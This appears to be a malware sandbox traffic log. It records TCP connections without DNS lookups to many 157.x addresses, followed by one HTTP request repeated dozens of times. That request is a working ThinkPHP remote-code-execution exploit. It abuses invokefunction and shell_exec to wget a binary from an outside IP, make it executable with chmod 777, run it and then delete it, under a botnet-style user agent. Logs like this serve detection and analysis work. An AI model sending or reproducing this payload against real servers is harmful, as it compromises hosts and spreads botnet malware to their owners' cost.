Source: unknown	TCP traffic detected without corresponding DNS query: 157.97.230.53
Source: unknown	TCP traffic detected without corresponding DNS query: 157.97.175.235
Source: unknown	TCP traffic detected without corresponding DNS query: 157.187.34.78
Source: unknown	TCP traffic detected without corresponding DNS query: 157.222.109.202
Source: unknown	TCP traffic detected without corresponding DNS query: 157.170.132.158
Source: unknown	TCP traffic detected without corresponding DNS query: 157.255.175.63
Source: unknown	TCP traffic detected without corresponding DNS query: 157.153.238.208
Source: unknown	TCP traffic detected without corresponding DNS query: 157.108.38.231
Source: unknown	TCP traffic detected without corresponding DNS query: 157.255.21.232
Source: unknown	TCP traffic detected without corresponding DNS query: 157.117.159.25
Source: unknown	TCP traffic detected without corresponding DNS query: 157.167.92.184
Source: unknown	TCP traffic detected without corresponding DNS query: 157.250.149.227
Source: unknown	TCP traffic detected without corresponding DNS query: 157.39.0.231
Source: unknown	TCP traffic detected without corresponding DNS query: 157.98.143.135
Source: unknown	TCP traffic detected without corresponding DNS query: 157.6.66.52
Source: unknown	TCP traffic detected without corresponding DNS query: 157.213.190.50
Source: unknown	TCP traffic detected without corresponding DNS query: 157.145.29.54
Source: unknown	TCP traffic detected without corresponding DNS query: 157.46.139.112
Source: unknown	TCP traffic detected without corresponding DNS query: 157.178.69.163
Source: unknown	TCP traffic detected without corresponding DNS query: 157.130.32.160
Source: unknown	TCP traffic detected without corresponding DNS query: 157.144.127.188
Source: unknown	TCP traffic detected without corresponding DNS query: 157.225.104.229
Source: unknown	TCP traffic detected without corresponding DNS query: 157.199.61.228

Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://193.239.147.201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
